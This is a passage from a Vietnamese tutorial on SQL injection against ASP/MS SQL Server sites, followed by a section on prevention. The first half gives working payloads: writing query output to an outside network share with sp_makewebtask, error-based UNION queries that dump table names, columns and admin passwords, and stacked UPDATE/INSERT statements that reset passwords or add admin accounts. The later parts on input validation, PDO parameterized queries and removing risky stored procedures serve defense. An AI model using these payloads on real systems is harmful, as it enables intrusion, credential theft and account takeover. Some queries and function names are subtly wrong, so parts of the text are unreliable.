2.5 Nhập Output của SQL query

Bạn có thể dùng sp_makewebtask để viết các output của SQL query ra file HTML

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

2.6 Nhận dữ liệu qua ‘database using ODBC error message’

Bạn có thể phát hiện các thông báo lỗi của MS SQL Server để có những thông tin quan trọng. Ví dụ http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ cơ sở dữ liệu:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Trường INFORMATION_SCHEMA.TABLES của SQL Server chứa thông tin về toàn bộ các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong cơ sở dữ liệu. Query của tôi là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Dòng lệnh này sẽ cho bạn biết tên của bảng đầu tiên trong cơ sở dữ liệu

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION. Lúc này MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

‘table1’ to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1”. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của bảng tiếp theo, có thể dùng lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–

Cũng có thể thử tìm data bằng cách thông qua statement LIKE của query SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–

Khi đó thông báo lỗi của SQL Server sẽ là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5

Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login”.

2.7 Xác định tên của các cột trong table

Bảng INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các cột trong bảng. Tôi có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Khi đó thông báo lỗi của SQL Server thường là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5

Như vậy tên của cột đầu tiên là “login_id”. Để lấy tên của các cột tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Thông báo lỗi của SQL Server có thể:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các cột còn lại như “password”, “details”. Khi đó ta lấy tên của các cột này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–

Thông báo lỗi của SQL Server:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

2.8 Tiến hành thu thập các dữ liệu quan trọng

Bước trên tôi đã có thể xác định được tên của các bảng và cột quan trọng. Lúc này chúng ta cần thu thập các thông tin quan trọng trong bảng đó.

Có thể lấy login_name đầu tiên trong table “admin_login” như qua dòng lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5

Tôi nhận ra admin user đầu tiên có login_name là “neo”. Lúc này tôi thử lấy password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neomatrix’ to a column of data type int.

/index.asp, line 5

Well vậy là tôi đã có thể đăng nhập vào website với username là “neo” và password là “neomatrix”

2.9 Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173”. Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found”. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity’ và password là ‘31173’

2.10 Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có thông tin của tất cả các cột trong bảng, tôi có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào bảng này.

Để thay đổi password của “neo”, có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘neomatpass’ WHERE login_name=’neo’–

Hoặc nếu không tôi sẽ tạo một record mới vào bảng:

http://yoursite.com/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’neomatpass’,’NA’)–

Và bây giờ có thể login vào với username “neo2” và password là “neomatpass”

3. Cách thức ngăn chặn SQL Injection

Xác nhận input

Quá trình xác nhận nhằm mục đích xác minh xem loại input được gửi bởi người dùng có được phép hay không. Xác thực input đảm bảo rằng đó là loại, độ dài, định dạng được chấp nhận, v.v. Website chỉ xử lý giá trị vượt qua xác thực.Điều này giúp chống lại bất kỳ lệnh nào được chèn khi input. Hiểu đơn giản là bạn sẽ biết ai là người gõ cửa nhà bạn vậy đó.

Việc này không chỉ áp dụng vào trường cho phép người dùng nhập dữ liệu, bạn cũng nên cân bằng:

  • Sử dụng các biểu thức thông thường như whitelist cho dữ liệu có cấu trúc (tên, tuổi, thu nhập, phản hồi khảo sát, mã zip, v.v.) để đảm bảo xác thực input của bạn mạnh.
  • Trong trường hợp tập hợp các giá trị cố định (drop-down list, radio button, v.v.), hãy xác định giá trị nào được trả về. Dữ liệu đầu vào phải khớp chính xác với một trong các tùy chọn được bạn cung cấp.

Bạn có thể áp dụng đoạn code này để thực hiện xác thực table:

switch ($tableName) {

case ‘fooTable’: return true;

case ‘barTable’: return true;

default: return new BadMessageException(‘unexpected value provided as table name’);

}

Biến $tableName sau đó có thể được nối trực tiếp.

Trong trường hợp drop down list, việc xác thực dữ liệu rất dễ dàng. Giả sử bạn muốn người dùng chọn xếp hạng từ 1 đến 5, hãy thay đổi mã PHP thành một cái gì đó như thế này:

<?php

if(isset($_POST[“selRating”]))

{

$number = $_POST[“selRating”];

if((is_numeric($number)) && ($number > 0) && ($number < 6))

{

echo “Selected rating: ” . $number;

}

else

echo “The rating has to be a number between 1 and 5!”;

}

Bạn đã thêm hai cách check đơn giản:

  • Nó phải là một số (the is_numeric() function).
  • Bạn yêu cầu $number đó phải lớn hơn 0 và nhỏ hơn 6, do vậy bạn có phạm vi là 1-5.

Truy vấn tham số (Parametrized queries)

Truy vấn tham số hiểu đơn giản là một phương tiện biên dịch câu lệnh SQL để khi cung cấp các tham số để câu lệnh được thực thi. Phương pháp này giúp CSDL có thể nhận ra mã và phân việt với dữ liệu đầu vào.

Kiểu mã hóa này giúp giảm thiểu một cuộc tấn công SQL Injection

Có thể sử dụng các truy vấn được tham số hóa với phần mở rộng MySQLi, nhưng PHP 5.1 cách tiếp cận tốt hơn khi làm việc với CSDL: Đối tượng dữ liệu PHP (PDO). PDO áp dụng các phương pháp như vậy để đơn giản hóa việc sử dụng các truy vấn được tham số hóa.

Ngoài ra, nó làm cho code dễ đọc hơn và dễ di chuyển hơn vì nó hoạt động trên một số cơ sở dữ liệu, không chỉ MySQL.

Mã này sử dụng PDO với các truy vấn được tham số hóa để ngăn ngừa lỗ hổng SQL Injection:

<?php

$id = $_GET[‘id’];

$db_connection = new PDO(‘mysql:host=localhost;dbname=sql_injection_example’, ‘dbuser’, ‘dbpasswd’);

//preparing the query

$sql = “SELECT username

FROM users

WHERE id = :id”;

$query = $db_connection->prepare($sql);

$query->bindParam(‘:id’, $id);

$query->execute();

//getting the result

$query->setFetchMode(PDO::FETCH_ASSOC);

$result = $query->fetchColumn();

print(htmlentities($result));

Ngoài ra còn có các phòng tránh khác như:

  • Escaping: luôn sử dụng các hàm có escaping. Ví dụ sử dụng mysql_real_escape_opes () để tránh các ký tự dẫn đến lệnh SQL ngoài ý muốn.
  • Tránh các đặc quyền của Admin: Không kết nối ứng dụng của bạn với cơ sở dữ liệu bằng tài khoản có quyền truy cập root.
  • Giới hạn quyền các user đụng đến CSDL của website
  • Xóa các stored procedure trong database master mà không dùng như:
    • xp_cmdshell
    • xp_startmail
    • xp_sendmail
    • sp_makewebtask
  • Sử dụng WAF (web application firewall) để bảo vệ website khỏi SQL Injection hay các cuộc tấn công bằng thủ thuật khác.

Lỗi SQL injection là gì?Ngăn chặn SQL Injection trong ASP.NET

Ngoài các cách thức mà tôi vừa gửi đến bạn thì trong ASP.NET có cách chặn easy hơn là sử dụng Parameters khi thao tác với object SqlCommand (hoặc OleDbCommand) chứ không trực tiếp dụng các câu lệnh SQL.

Lúc này ASP.NET sẽ tự động xác nhận kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện tiếp câu lệnh SQL.

Ngoài ra, bạn cũng cần kiểm tra các thông báo lỗi. Mặc định trong ASP.NET là các thông báo lỗi sẽ không hiển thị khi không chạy trên local host.

Như vậy là tôi đã giới thiệu cho bạn về SQL Injection là gì và lỗi SQL Injection là gì? Nếu còn thắc mắc nào về tấn công sql injection là gì? Bạn có thể tìm đọc các bài viết tiếp theo của tôi nhé.